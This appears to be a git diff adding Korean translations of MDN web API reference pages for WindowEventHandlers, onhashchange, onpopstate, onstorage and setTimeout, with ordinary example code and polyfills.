+  - Mixin
+  - Reference
+  - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>WindowEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement additional specific event handlers.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>WindowEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>WindowEventHandlers</code>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessageerror")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("MessageError")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'WindowEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'WindowEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "WindowEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onhashchange/index.html b/files/ko/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..1a9f932360
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,159 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+tags:
+  - HTML-DOM
+  - Property
+  - Reference
+  - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+
+<div>{{domxref("WindowEventHandlers")}} 믹스인의 <strong>WindowEventHandlers.onhashchange</strong> 속성은 </div>
+</div>
+
+<p><strong>hashchange </strong>이벤트를 처리하기 위한 {{domxref("EventHandler")}} 입니다.</p>
+
+<p>hashchange 이벤트는 윈도우의 해시가 변경되면 시작됩니다. ( {{domxref("Window.location")}} 및 {{domxref("HTMLHyperlinkElementUtils.hash")}} 참조)</p>
+
+<h2 id="문법">문법</h2>
+
+<p><strong>event handler:</strong></p>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>HTML event handler:</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>event listener:</strong></p>
+
+<p>{{domxref("EventTarget.addEventListener()", "addEventListener()")}}를 사용하여 이벤트 리스너 추가하기</p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>함수에 대한 참조.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="event_handler_사용하기">event handler 사용하기</h3>
+
+<p>This example uses an event handler (<code>window.onhashchange</code>) to check the new hash value whenever it changes. If it equals <code>#cool-feature</code>, the script logs a message to the console.</p>
+
+<pre><code>function locationHashChanged() {
+  if (location.hash === '#cool-feature') {
+    console.log("You're visiting a cool feature!");
+  }
+}
+
+window.onhashchange = locationHashChanged;</code>
+</pre>
+
+<h3 id="Using_an_event_listener">Using an event listener</h3>
+
+<p>이 예제는 이벤트 리스너를 사용하여 해시가 변경 될 때마다 콘솔에 알림표시합니다.</p>
+
+<pre><code>function hashHandler() {
+  console.log('The hash has changed!');
+}
+
+window.addEventListener('hashchange', hashHandler, false);</code></pre>
+
+<h3 id="Overriding_the_hash">Overriding the hash</h3>
+
+<p>이 함수는 새로운 해시를 동적으로 설정하여 임의로 두 값 중 하나로 설정합니다.</p>
+
+<pre><code>function changeHash() {
+  location.hash = (Math.random() &gt; 0.5) ? 'location1' : 'location2';
+}</code>
+</pre>
+
+<h2 id="hashchange_이벤트">hashchange 이벤트</h2>
+
+<p><code>hashchange</code> 이벤트에는 다음과 같은 필드가 있습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Field</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>탐색할 새로운 URL입니다.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>탐색했던 이전의 URL입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="제2의_해결책을_위한_event.newURL_와_event.oldURL">제2의 해결책을 위한 event.newURL 와 event.oldURL</h3>
+
+<pre class="brush:js">//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.WindowEventHandlers.onhashchange")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/hashchange_event">hashchange</a></code> event</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating the browser history">Manipulating the browser history</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/window.history" title="DOM/window.history"><code>history.pushState()</code> and <code>history.replaceState()</code></a> methods</li>
+ <li>{{domxref("WindowEventHandlers.onpopstate")}}</li>
+ <li>{{domxref("HTMLHyperlinkElementUtils.hash")}}</li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onpopstate/index.html b/files/ko/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..4da830dbe2
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,57 @@
+---
+title: WindowEventHandlers.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{APIRef}} {{gecko_minversion_header("2")}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>window의 popstate 이벤트 핸들러</p>
+
+<p>같은 document에 관한 두개의 히스토리 엔트리에 변화가 일어날 때마다, popstate event가 window 객체에 붙게 된다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 된다.</p>
+
+<p>history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의한다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 그리고 그 이벤트는 같은 document에서 두 히스토리 엔트리 간의 이동이 있을 때만 발생이 된다.</p>
+
+<p>브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리한다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킨다. 하지만 Firefox 는 그렇지 않다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">window.onpopstate = <var>funcRef</var>;
+</pre>
+
+<ul>
+ <li><var>funcRef는 이벤트 핸들러 함수다.</var></li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">popstate 이벤트</h2>
+
+<p>예시를 보자, 다음의 코드를 실행하는 <code><var>http://example.com/example.html</var></code>의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.</p>
+
+<pre class="brush:js">window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>원래의 히스토리 엔트리인 (<code><var>http://example.com/example.html</var></code>) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a></li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onstorage/index.html b/files/ko/web/api/windoweventhandlers/onstorage/index.html
new file mode 100644
index 0000000000..8490ff6119
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onstorage/index.html
@@ -0,0 +1,64 @@
+---
+title: WindowEventHandlers.onstorage
+slug: Web/API/WindowEventHandlers/onstorage
+tags:
+  - API
+  - Event Handler
+  - Property
+  - Reference
+  - Web Storage
+  - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers/onstorage
+---
+<div class="syntaxbox">{{APIRef}}</div>
+
+<p>{{domxref("WindowEventHandlers")}} 믹스인의 <strong><code>onstorage</code></strong> 속성은 <code><a href="/ko/docs/Web/API/Window/storage_event">storage</a></code> 이벤트를 처리하는 {{domxref("EventHandler")}}입니다.</p>
+
+<p><code>storage</code> 이벤트는 다른 문서에서 저장소를 변경했을 때 발생합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em> </em><em>window</em>.onstorage = <em>functionRef</em>;</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>functionRef</code>는 함수 이름 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>으로, 단일 매개변수로써 {{domxref("StorageEvent")}}를 받습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 다른 문서에서 저장소 키를 바꿀 때마다 메시지를 기록합니다.</p>
+
+<pre class="brush: js notranslate">window.onstorage = function(e) {
+  console.log('The ' + e.key +
+    ' key has been changed from ' + e.oldValue +
+    ' to ' + e.newValue + '.');
+};</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-window-onstorage','onstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onstorage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Window/storage_event">Window: <code>storage</code> 이벤트</a></li>
+</ul>
diff --git a/files/ko/web/api/windowtimers/settimeout/index.html b/files/ko/web/api/windowtimers/settimeout/index.html
new file mode 100644
index 0000000000..7b338a83fa
--- /dev/null
+++ b/files/ko/web/api/windowtimers/settimeout/index.html
@@ -0,0 +1,429 @@
+---
+title: WindowTimers.setTimeout()
+slug: Web/API/WindowTimers/setTimeout
+tags:
+  - setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>타이머가 만료된 뒤 함수나 지정된 코드를 실행하는 타이머를 설정합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>var timeoutID</em> = window.setTimeout(<em>func</em>[, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]);
+<em>var timeoutID</em> = window.setTimeout(<em>code</em>[, <em>delay</em>]);
+window.setTimeout(function, milliseconds);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code id="func">func</code></dt>
+ <dd>{{jsxref("function")}}이 타이머가 만료된 뒤 실행됩니다.</dd>
+ <dt><code>code</code></dt>
+ <dd>선택적 구문으로 함수 대신에 문자열을 넣을 수 있는데, 이것은 타이머가 만료된 뒤 해석되고 실행됩니다.<br>
+ 이 구문은 {{jsxref("Global_Objects/eval", "eval()")}}을 사용하는 것과 같은 <strong>보안 위험성</strong>을 이유로 <strong>권장되지 않습니다.</strong></dd>
+ <dt><code>delay</code> {{optional_inline}}</dt>
+ <dd>타이머가 지정된 함수나 코드를 실행시키기 전에 기다려야할 ms(1000분의 1초) 단위의 시간입니다.<br>
+ 만약 이 매개변수를 생략하면, 0이 값으로 사용됩니다. 실제 지연시간은 더 길어질 수 있습니다;<br>
+ 아래 {{anch("Reasons for delays longer than specified")}}를 참고하세요.</dd>
+ <dt><code>param1, ..., paramN</code> {{optional_inline}}</dt>
+ <dd>타이머가 만료되고 {{anch("func")}}에 전달되는 추가적인 매개변수들입니다.</dd>
+</dl>
+
+<div class="note">
+<p>Internet Explorer 9 이하에서는 함수에 추가적인 매개변수들을 전달하는 기능이 동작하지 않습니다.<br>
+ 만약 브라우저에서 이 기능을 사용하고 싶다면, {{anch("polyfill")}}을 사용하세요. (<a href="#Callback_arguments">Callback arguments</a>를 봐주세요)</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>반환되는 <code>timeoutID</code>는 숫자이고, <code>setTimeout()</code>을 호출하여 만들어진 타이머를 식별할 수 있는 0이 아닌 값 입니다;<br>
+ 이 값은 타이머를 취소시키기 위해 {{domxref("WindowTimers.clearTimeout()")}}에 전달할 수도 있습니다.</p>
+
+<p><code>setTimeout()과</code> {{domxref("WindowTimers.setInterval", "setInterval()")}}는 같은 ID 공간을 공유하기 때문에, <code>clearTimeout()과 </code>{{domxref("WindowTimers.clearInterval", "clearInterval()")}} 둘 중 어느 것을 사용해도 기술적으로 동일하게 동작합니다.<br>
+ 하지만 명확성을 위해, 코드를 유지보수할 때 혼란을 피하기 위해 항상 일치시켜야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 웹 페이지에 2개의 간단한 버튼을 설정하고 <code>setTimeout()과</code> <code>clearTimeout()에 연결합니다</code>.<br>
+ 첫 번째 버튼이 눌려지면 2초 뒤에 호출되는 타임아웃이 설정되고 <code>clearTimeout()</code>에 사용되는 ID가 저장됩니다.<br>
+ 두 번째 버튼을 누름으로써 당신은 선택적으로 이 타임아웃을 취소할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Live Example&lt;/p&gt;
+&lt;button onclick="delayedAlert();"&gt;Show an alert box after two seconds&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;Cancel alert before it happens&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('Example')}}<br>
+ <a href="/en-US/docs/Web/API/WindowTimers/clearTimeout#Example"><code>clearTimeout() 예제</code></a>도 봐주세요.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>하나 이상의 매개변수를 콜백 함수에 넘겨야 하는데, <code>setTimeout()</code> 또는 <code>setInterval()</code>을 사용하여 추가적인 매개변수를 보내는 것을 브라우저에서 지원하지 않는다면<code>(e.g. </code>Internet Explorer 9 이하<code>)</code>, HTML5 표준 매개변수 전달 기능을 사용 가능하게 하는 이 polyfill을 넣을 수 있습니다. 그저 아래 코드를 스크립트를 상단에 작성해주시면 됩니다.</p>
+
+<pre class="brush: js">/*\
+|*|
+|*|  임의의 매개변수를 자바스크립트 타이머의 콜백함수에 전달하기 위한 Polyfill (HTML5 표준 명세).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+</pre>
+
+<h2 id="IE">IE</h2>
+
+<p>IE9 이하를 포함하는 모든 모바일/데스크톱 브라우저에서 자바스크립트를 남용하지 않는 완벽한 해결책으로 , JavaScript 조건부 주석을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">/*@cc_on
+  // conditional IE &lt; 9 only fix
+  @if (@_jscript_version &lt;= 9)
+  (function(f){
+     window.setTimeout=f(window.setTimeout);
+     window.setInterval=f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+</pre>
+
+<p>혹은 IE HTML 조건부 기능을 기반으로 깔끔하게 접근할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;!--[if lte IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>다른 해결책으로는 익명 함수를 callback으로 호출하여 사용할 수 있으나, 이 방법은 비용이 더 비쌉니다.</p>
+
+<pre class="brush: js">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>위 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a>으로도 작성하실 수 있습니다.</p>
+
+<pre class="brush: js">var intervalID = setTimeout(() =&gt; { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>다른 하나는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's <code>bind</code></a>를 이용하는 것 입니다.</p>
+
+<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+</pre>
+
+<h2 id="this_문제">"<code>this</code>" 문제</h2>
+
+<p><code>setTimeout()</code>에 매개변수(혹은 다른 함수)를 전달할 때, 당신의 기대와는 다르게 this의 값이 호출될 것이다. 해당 이슈에 대한 자세한 사항은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>를 참고해주세요.</p>
+
+<h3 id="설명">설명</h3>
+
+<p><code>setTimeout()</code>에 의해 실행된 코드는 별도의 실행 컨텍스트에서 <code>setTimeout</code>이 호출된 함수로 호출됩니다.  호출된 함수에 대해서는 <code>this</code> 키워드를 설정하는 일반적인 규칙이 적용되며, this를 설정 혹은 할당하지 않은 경우, non-strict 모드에서 전역(혹은 <code>window</code>) 객체, strict모드에서 undefined를 기본 값으로 합니다. 다음 예제를 봐주세요: </p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"</pre>
+
+<p>위와 같이 동작하는 이유는 <code>myMethod</code> 호출될 때, <code>this</code>는 <code>myArray</code>로 설정되므로, 함수 내에서의 <code>this[</code>속성<code>]</code>은 <code>myArray[</code>속성<code>]</code>와 같습니다. 하지만, 다음 예제를 보면:</p>
+
+<pre class="brush: js">setTimeout(myArray.myMethod, 1000); // 1초 뒤 "[Window 객체]" 출력
+setTimeout(myArray.myMethod, 1500, "1"); // 1.5초 뒤 "undefined" 출력</pre>
+
+<p><code>myArray.myMethod</code> 함수는 <code>setTimeout</code>에 전달되고, 호출될 때 t<code>his</code>는 설정되어 있지 않아 window 객체를 기본값으로 합니다. forEach, reduce 등 Array 메서드 같이 <code>this</code>를 매개변수로 넘길 수 있는 옵션 또한 없습니다. 그리고 아래에서 보다시피, <code>call<font face="Open Sans, Arial, sans-serif">을</font> </code>사용해<code> this</code>를 설정하는 것도 동작하지 않습니다.</p>
+
+<pre class="brush: js">setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+</pre>
+
+<h3 id="가능한_해결책">가능한 해결책</h3>
+
+<p>일반적인 해결책은 this 설정이 필요한 곳을 함수로 감싸는 것(Wrapper Function) 입니다:</p>
+
+<pre class="brush: js">setTimeout(function(){myArray.myMethod()}, 2000); // 2초 뒤"zero,one,two" 출력
+setTimeout(function(){myArray.myMethod('1')}, 2500); // 2.5초 뒤"one" 출력</pre>
+
+<p>화살표 함수(Arrow Function) 역시 가능한 대안입니다:</p>
+
+<pre class="brush: js">setTimeout(() =&gt; {myArray.myMethod()}, 2000); // 2초 뒤 "zero,one,two" 출력
+setTimeout(() =&gt; {myArray.myMethod('1')}, 2500); // 2.5초 뒤 "one" after 2.5 출력</pre>
+
+<p><code>this</code> 문제를 해결하는 또다른 방법은 전역함수 <code>setTimeout()<font face="Open Sans, Arial, sans-serif">과 </font></code><code>setInterval()<font face="Open Sans, Arial, sans-serif">를 </font></code><code>this</code> 객체를 전달할 수 있는 전역함수로 대체하고 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">Function.prototype.call</a></code>을 사용하여 콜백을 설정합니다:</p>
+
+<pre class="brush: js">// Enable setting 'this' in JavaScript timers
+
+var __nativeST__ = window.setTimeout,
+    __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note">위 2개의 대안들은 IE의 타이 콜백함수에 임의의 매개변수를 전달하는 HTML5 표준 또한 가능하게 합니다.</div>
+
+<p>새로운 기능 테스트:</p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+</pre>
+
+<div class="note">JavaScript 1.8.5은 주어진 함수에 대한 모든 호출의 this 값을 설정하기 위한 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> 메서드를 도입하였습니다. 이렇게 하면 wrapper 함수를 사용하지 않고 콜백에 this 값을 설정할 수 있습니다.</div>
+
+<p><code>bind()</code>를 사용한 예제:</p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length &gt; 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
